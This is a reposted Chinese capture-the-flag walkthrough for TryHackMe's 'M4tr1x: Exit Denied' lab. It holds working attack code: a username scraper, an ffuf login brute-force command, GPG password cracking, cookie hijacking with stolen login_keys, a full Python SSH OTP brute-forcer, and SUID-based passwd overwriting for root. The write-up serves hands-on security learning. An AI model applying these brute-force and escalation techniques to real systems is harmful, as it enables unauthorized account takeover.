TryHackMe-M4tr1x: Exit Denied(boot2root)

news2024/11/24 23:05:03

M4tr1x: Exit Denied

大多数人只看到一个完美构建的系统。但你一直都是不同的。你不仅看到表面上的东西,还看到 它下面有什么统治;调节和调节的内部关联机制 几乎完美地管理其每个模块,以至于它试图隐藏所有模块 其多面设计中的微小孔。但是,这些漏洞仍然存在,不要 他们?。。。是的,你还在学习,但你最大的弱点是自我怀疑…它继续 阻止你…你知道它来自哪里吗?在内心深处,我知道你会这样做。 你知道有些事情不对劲,你只是不能把手指放在上面。井 让我告诉你。你生活在梦中。一个已经放在你的 眼睛让你看不到你意识到你可以成为谁。是的。。。我能感觉到你 知道我告诉你的是真的…困境是有这些“代理人”… 让我们称它们为看起来像你和我的程序。他们试图传播这一点 自我怀疑、怀疑和恐惧的病毒进入少数人的潜意识 具有巨大潜力的新兴黑客。你为什么问?这是因为头脑 像你一样对控制“M4tr1x 系统”的人构成威胁;人造的, 模拟世界是为了抑制你的全部感官而开发的。在下一场反对机器的战争中,我们需要你。但只有你能逃脱 将您的工程现实带入现实世界…我 将在另一边等待。


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进入80

在这里插入图片描述

gobuster扫

在这里插入图片描述

似乎都没啥东西

在memberlist下发现题目描述的兔子

在这里插入图片描述

它有一些帖子,进去看一眼

在这里插入图片描述

先注册个账号

在这里插入图片描述

有个漏洞赏金的帖子

在这里插入图片描述

我们致力于保护我们的社区免受未来的网络攻击。

如果您是一名安全专家或积极参与查找 Web 应用程序中的安全漏洞的爱好者,那么 linux-bay 需要您。 要参与,您需要做的就是确保向以下页面报告任何小弱点:/bugbountyHQ,我们将尝试解决上述问题。 请注意:如果安全漏洞被认为是严重的,那么请 PM 我或任何模组,不要使用上面的报告页面。 谢谢



更新:由于维护而禁用。

进到那个可能存在漏洞的页面

在这里插入图片描述

虽然它禁用了,但是我们仍然可以通过修改前端,删除disable属性来启用它

在这里插入图片描述

在reportPanel.php,披露了他人提交的漏洞

在这里插入图片描述

挑选最新的一些漏洞,有这三个

在这里插入图片描述

弱密码应该是我们不错的选择

我们先使用python写个爬虫

from lxml import etree
import requests


for index in range(1,4):
	req_uri = f'http://10.10.102.167/memberlist.php?sort=regdate&order=ascending&perpage=20&page={index}'
	res = requests.get(req_uri)
	
	nameList = (etree.HTML(res.text)).xpath('//td/a/text()')
	nameList1 = (etree.HTML(res.text)).xpath('//td/a/span/strong/text()')
	for name in nameList:
		print(name)
	for name1 in nameList1:
		print(name1)

运行脚本,使用管道符写入文件,我们得到了比较完整的用户名

在这里插入图片描述

把那些弱密码也保存下来

ffuf爆破

ffuf -u 'http://10.10.102.167/member.php' -X POST -H 'Cookie: mybb[lastvisit]=1682388755; mybb[lastactive]=1682393195; _ga=GA1.1.858611810.1682392067; _gid=GA1.1.181915025.1682392067; _gat_gtag_UA_120533740_1=1; sid=6e99b20229c6b51e87f4c8e841ff7ebd' -H 'Content-Type:application/x-www-form-urlencoded' -d 'username=USER&password=PASS&remember=yes&submit=Login&action=do_login&url=&my_post_key=68261ebeaf58eb3ba4c7f71b193eb4db' -w ./users.txt:USER -w ./pass.txt:PASS -fw 666

在这里插入图片描述

获得不少账户的密码

在这里插入图片描述

其中有两个账户PalacerKing和ArnoldBagger是版主

登录PalacerKing,查看信箱

在这里插入图片描述

登另一个账号,把信箱翻个遍,发现一个目录

在这里插入图片描述

有个插件和gpg

在这里插入图片描述

在v2版本的插件代码当中,最有价值的信息就是:

$sql_p = file_get_contents('inc/tools/manage/SQL/p.txt'); //read SQL password from p.txt

那么很显然,p.txt.gpg文件中就存放了密码

根据房间的指引,在reportPanel.php的源代码下发现了

在这里插入图片描述

cyberchef解码

在这里插入图片描述

把它拆开翻译一下

在这里插入图片描述

进到那个二进制的目录

查看源代码,发现与上文提供的信息有关的地方这些中文里参杂了一些英文字母:ofqxvg

在这里插入图片描述

而题目引导我们去利用几个英文字母去生成密码来破解gpg文件

直接贴代码

import itertools


str1 = 'ofqxvg'
p = itertools.permutations(str1)

for pass_list in list(p):
	pwd = ''
	for val in pass_list:
		pwd += val
	print(pwd)

在这里插入图片描述

gpg2john+john直接爆

在这里插入图片描述

gpg解密得到数据库的密码

在这里插入图片描述

插件中是使用mod登录数据库

//!!!!!!SQL LOGIN for modManager (needed for reading login_keys for user migration)
define('localhost', 'localhost:3306');
//mysql connect using user 'mod' and password from 'sql_p varirable'
$db = mysql_connect('localhost','mod',$sql_p);

直接登mysql

在里面找到了另一个我们之前没有密码的版主的login_key

在这里插入图片描述

使用cookie editor找到了使用login_key的位置,uid+login_key

在这里插入图片描述

直接改成blackcat的uid和login_key

在这里插入图片描述

在里面找到一些文件

在这里插入图片描述

找到了房间所说的文档,看的有点晕,来一颗wp救心丹@siunam321

from datetime import datetime, timedelta
from hashlib import sha256
import random
from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception
import os
import ntplib

class TimeSimulatorClient:
    def __init__(self, sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress):
        self.sharedSecret1 = sharedSecret1
        self.sharedSecret2 = sharedSecret2
        self.sharedSecret3 = sharedSecret3
        self.targetIPAdress = targetIPAdress
        self.listSecret = [sharedSecret1, sharedSecret2, sharedSecret3]

    def setTimeZone(self):
        try:
            print('[*] Setting timezone to UTC')
            print('[*] Before:')
            os.system('sudo timedatectl --value')
            os.system('sudo timedatectl set-timezone UTC')
            print('[+] Timezone has been changed to UTC')
        except:
            print('[-] Couldn\'t set the timezone to UTC')

    def syncTime(self):
        try: 
            client = ntplib.NTPClient()
            client.request(self.targetIPAdress) #IP of linux-bay server
            print('[+] Synced to the time server')
        except:
            print('[-] Could not sync with time server')

    def TimeSet(self, country, hours, mins, seconds):
        now = datetime.now() + timedelta(hours=hours, minutes=mins)
        #time units: day, hour, minutes
        CurrentTime = int(now.strftime("%d%H%M"))

        return CurrentTime
       
    def getOTP(self):
        CA = self.TimeSet('Ukraine', 4, 43, 0)
        CB = self.TimeSet('Germany', 13, 55, 0)
        CC = self.TimeSet('England', 9, 19, 0)
        CD = self.TimeSet('Nigeria', 1, 6, 0)
        CE = self.TimeSet('Denmark', -5, 18, 0)

        listTimeSet = [CA, CB, CC, CD, CE]
        randomTimeSet = random.sample(listTimeSet, 3)

        # CTT = CA * CB * CC
        CTT = randomTimeSet[0] * randomTimeSet[1] * randomTimeSet[2]

        # UC = CTT XOR SST
        UC = CTT ^ random.choice(self.listSecret)

        # hash OTP
        HC = (sha256(repr(UC).encode('utf-8')).hexdigest())

        # HC Truncate
        T = HC[22:44]
        
        SSHOTP = T
        return SSHOTP

    def bruteForceSSH(self, SSHUsername, OTP):
        print(f'[*] Trying SSH OTP: {OTP}', end='\r')

        sshClient = SSHClient()
        sshClient.set_missing_host_key_policy(AutoAddPolicy())
        try:
            sshClient.connect(self.targetIPAdress, username=SSHUsername, password=OTP, banner_timeout=300)
            return True
        except AuthenticationException:
            # print(f'[-] Wrong OTP: {OTP}')
            pass
        except ssh_exception.SSHException:
            print('[*] Attempting to connect - Rate limiting on server')

def main():
    #shared secret token for OTP calculation
    sharedSecret1 = 1289xxxxxxxx488
    sharedSecret2 = 59xxxxxxxx453
    sharedSecret3 = 79xxxxxxx579
    # Change to the machine's IP
    targetIPAdress = '10.10.96.40'
    
    timeSimulatorClient = TimeSimulatorClient(sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress)

    # Change timezone & sync to the time server
    timeSimulatorClient.setTimeZone()
    timeSimulatorClient.syncTime()

    # Brute forcing SSH with computed OTP
    SSHUsername = 'architect'
    while True:
        OTP = timeSimulatorClient.getOTP()
        bruteForceResult = timeSimulatorClient.bruteForceSSH(SSHUsername, OTP)

        if bruteForceResult is True:
            print(f'[+] Found the correct OTP! {SSHUsername}:{OTP}')
            break

if __name__ == '__main__':
    main()

跑出来

在这里插入图片描述

登ssh同时拿到user flag

在这里插入图片描述

权限提升

find suid,发现一个陌生的二进制文件

在这里插入图片描述

根据lol,它可以造成任意文件读写

在这里插入图片描述

直接利用其向passwd写入账户,值得注意的是要将hash开头的两个$前加反斜杠

在这里插入图片描述

但root flag不在root家目录下

find找到了’/etc/-- -root.py’

在这里插入图片描述

直接运行它得到flag

在这里插入图片描述

题目还要找acp pin

在这里插入图片描述

python计算一下

在这里插入图片描述

得到pin码后,拿着bigpaul的凭据回去登录

在这里插入图片描述

直接登录

在这里插入图片描述

web flag在下面的note

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/461419.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】链表详解

本片要分享的内容是链表,为方便阅读以下为本片目录 目录 1.顺序表的问题及思考 1.链表的遍历 2.头部插入 2.1开辟空间函数分装 3.尾部插入 纠正 4.尾部删除 5.头部删除 6.数据查找 7.任意位置插入 1.顺序表的问题及思考 上一篇中讲解了顺序表中增删查…

【Linux】如何理解缓冲区

文章目录 &#x1f4d5; 看现象&#x1f4d5; 理解本质&#x1f4d5; 模拟文件接口mystdio.hmystdio.c &#x1f4d5; 看现象 如下代码&#xff0c;运行结果如图。 1 #include<sys/types.h> 2 #include<sys/stat.h> 3 #include<fcntl.h> 4 #include<s…

算法强化--分解因数

大家好,今天为大家带来一道题目 链接&#xff1a;https://www.nowcoder.com/questionTerminal/0f6976af36324f8bab1ea61e9e826ef5 来源&#xff1a;牛客网 [编程题]分解因数 热度指数&#xff1a;8605时间限制&#xff1a;C/C 1秒&#xff0c;其他语言2秒空间限制&#xff1a;…

臻图信息:数字技术推动智慧楼宇开启新模式

近年来&#xff0c;在数字技术的迅速发展下&#xff0c;正在深刻影响着各行各业的发展趋势。现代建筑行业已经随着通信技术、AI 智能技术、计算机技术的发展&#xff0c;向着新的发展模式开始转变。 借助数字孪生技术构建数字化、流程化的物联网平台&#xff0c;新的智能楼宇建…

串口通讯详解

目录 一、串口通讯简介&#xff1a; 二、串口通信基本原理&#xff1a; 三、通信方式 四、串口通信特点 一、串口通讯简介&#xff1a; &#xff08;1&#xff09;串口通讯是指通过串口进行数据传输的一种通讯方式&#xff0c;通过数据信号线、地线等&#xff0c;按位进行传输数…

【Python】实战:生成无关联单选问卷 csv《社会参与评估表》

目录 一、适用场景 二、业务需求 三、Python 文件 &#xff08;1&#xff09;创建文件 &#xff08;2&#xff09;代码示例 四、csv 文件 一、适用场景 实战场景&#xff1a; 问卷全部为单选题问卷问题全部为必填问题之间无关联关系每个问题的答案分数不同根据问卷全…

论文阅读:DLME = Deep Local-flatness Manifold Embedding

Author: Zelin Zang, Siyuan Li, Di Wu and Stan Z Li. 1-4: Westlake University 摘要 流形学习&#xff08;ML, Manifold learning&#xff09;旨在从高维数据中识别低维结构和嵌入&#xff0c;然而我们发现现有工作在采样不足的现实数据集上效果不佳。一般的ML方法对数据结…

C++学习记录——이십 map和set

文章目录 1、setmultiset 2、map3、map::operator[] 1、set vector/list/deque等是序列式容器&#xff0c;map&#xff0c;set是关联式容器。序列式容器的特点就是数据线性存放&#xff0c;而关联式容器的数据并不是线性&#xff0c;数据之间有很强的关系。 它们的底层是平衡…

P1038 [NOIP2003 提高组] 神经网络

题目背景 人工神经网络&#xff08;Artificial Neural Network&#xff09;是一种新兴的具有自我学习能力的计算系统&#xff0c;在模式识别、函数逼近及贷款风险评估等诸多领域有广泛的应用。对神经网络的研究一直是当今的热门方向&#xff0c;兰兰同学在自学了一本神经网络的…

用PyCharm和Anaconda搭建强化学习环境

一些碎语&#xff1a;因为我之前没学习过python&#xff0c;所以搭建这个环境的周期差不多一周&#xff0c;最终搭好了这个又爱又恨的环境&#xff08;这个成语用的多少有点文化沙漠了&#xff09;&#xff0c;这里简单梳理一下搭建环境的完整步骤。 首先下载Anaconda 下载地址…

Java线程间通信方式(3)

前文了解了线程通信方式中的CountDownLatch&#xff0c; Condition&#xff0c;ReentrantLock以及CyclicBarrier&#xff0c;接下来我们继续了解其他的线程间通信方式。 Phaser Phaser是JDK1.7中引入的一种功能上和CycliBarrier和CountDownLatch相似的同步工具&#xff0c;相…

mapbox-gl 移动端(H5)位置共享交互

文章目录 前言逆地理编码&#xff1a;获取周边地点地理编码&#xff1a;查询位置大头针选位位置卡片 前言 分享最近写的一个小demo&#xff0c;功能类似微信小程序端的大头针位置共享功能&#xff0c;需要实现的主要功能包括位置查询、周边地点检索、位置定位等&#xff0c;数…

BUUCTF jarvisoj_level0

小白垃圾做题笔记而已&#xff0c;不建议阅读。。。 这道题感觉主要就是64位程序ebp8 题目中给出了shellcode 我们直接将返回地址覆盖就好。 在main函数中调用了vulnerable_function()函数。 vulnerable函数是一个漏洞函数&#xff1a;(存在缓溢出)&#xff0c;我们只需要将…

html-audio标签样式重写思路

搭配slider 组件 ,利用原生audio的属性和方法重写样式 写个样式.监听url变化 初始化绑定播放, 拖动进度条,拖动音量, 静音按钮等事件 const audioRef ref(null) // 绑定audio标签 const playProcess ref(0) // 进度条绑定的值 const volume ref(1) // 音量绑定的值 const …

C++ STL之vector容器

目录 一、vector容器的介绍 二、vector容器的使用 1.vector的构造函数 2.vector的赋值操作 3.vector的容量与大小 4.vector的插入和删除 5.vector的数据存取 6.vector的互换容器 7.算法模块在vector的应用 ①find算法(std) ②sort算法(std) 一、vector容器的介绍 引…

07 - 进程创建大盘点

---- 整理自狄泰软件唐佐林老师课程 查看所有文章链接&#xff1a;&#xff08;更新中&#xff09;Linux系统编程训练营 - 目录 文章目录 1. 进程创建回顾2. 再论进程创建2.1 思考2.2 vfork()深度分析2.3 vfork()要点分析2.4 fork()的现代优化2.5 编程实验&#xff1a;fork() &…

【安卓源码】Binder机制2 -- addService 流程

0、binder 进程间通信原理 一次完整的 Binder IPC 通信过程通常是这样&#xff1a; 首先 Binder 驱动在内核空间创建一个数据接收缓存区&#xff1b; 接着在内核空间开辟一块内核缓存区&#xff0c;建立内核缓存区和内核中数据接收缓存区之间的映射关系&#xff0c;以及内核中…

PHP入门【1】环境搭建

目录 一&#xff0c;安装appserv组合包 二&#xff0c;运行第一个php程序 一&#xff0c;安装appserv组合包 组合包&#xff1a;将apache&#xff0c;mysql&#xff0c;php等服务器软件和工具安装配置完成后打包处理 组合包大大提高了我们的效率&#xff0c;不需要为配置环境…

Linux服务器出现503 服务不可用错误怎么办?

​  HTTP 503 服务不可用错误代码表示网站暂时不可用。无论您是网站访问者还是管理员&#xff0c;503 页面都很麻烦。尽管该错误表明存在服务器端问题&#xff0c;但对于访问者和网络管理员来说&#xff0c;有一些可能的解决方案。本文将解释Linux服务器出现503 服务不可用错…

PowerShell Studio 2023 Crack

PowerShell Studio 2023 Crack SAPIEN Script Packager为MSI Builder添加了ARM64平台支持。 增加了对Microsoft PowerShell 7.2.11和7.3.4的支持。 WiX工具集已更新到3.14。 PowerShell Studio 2023 Crack是可用的功能最强大、功能最完整的PowerShell集成脚本环境(ISE)之一。更…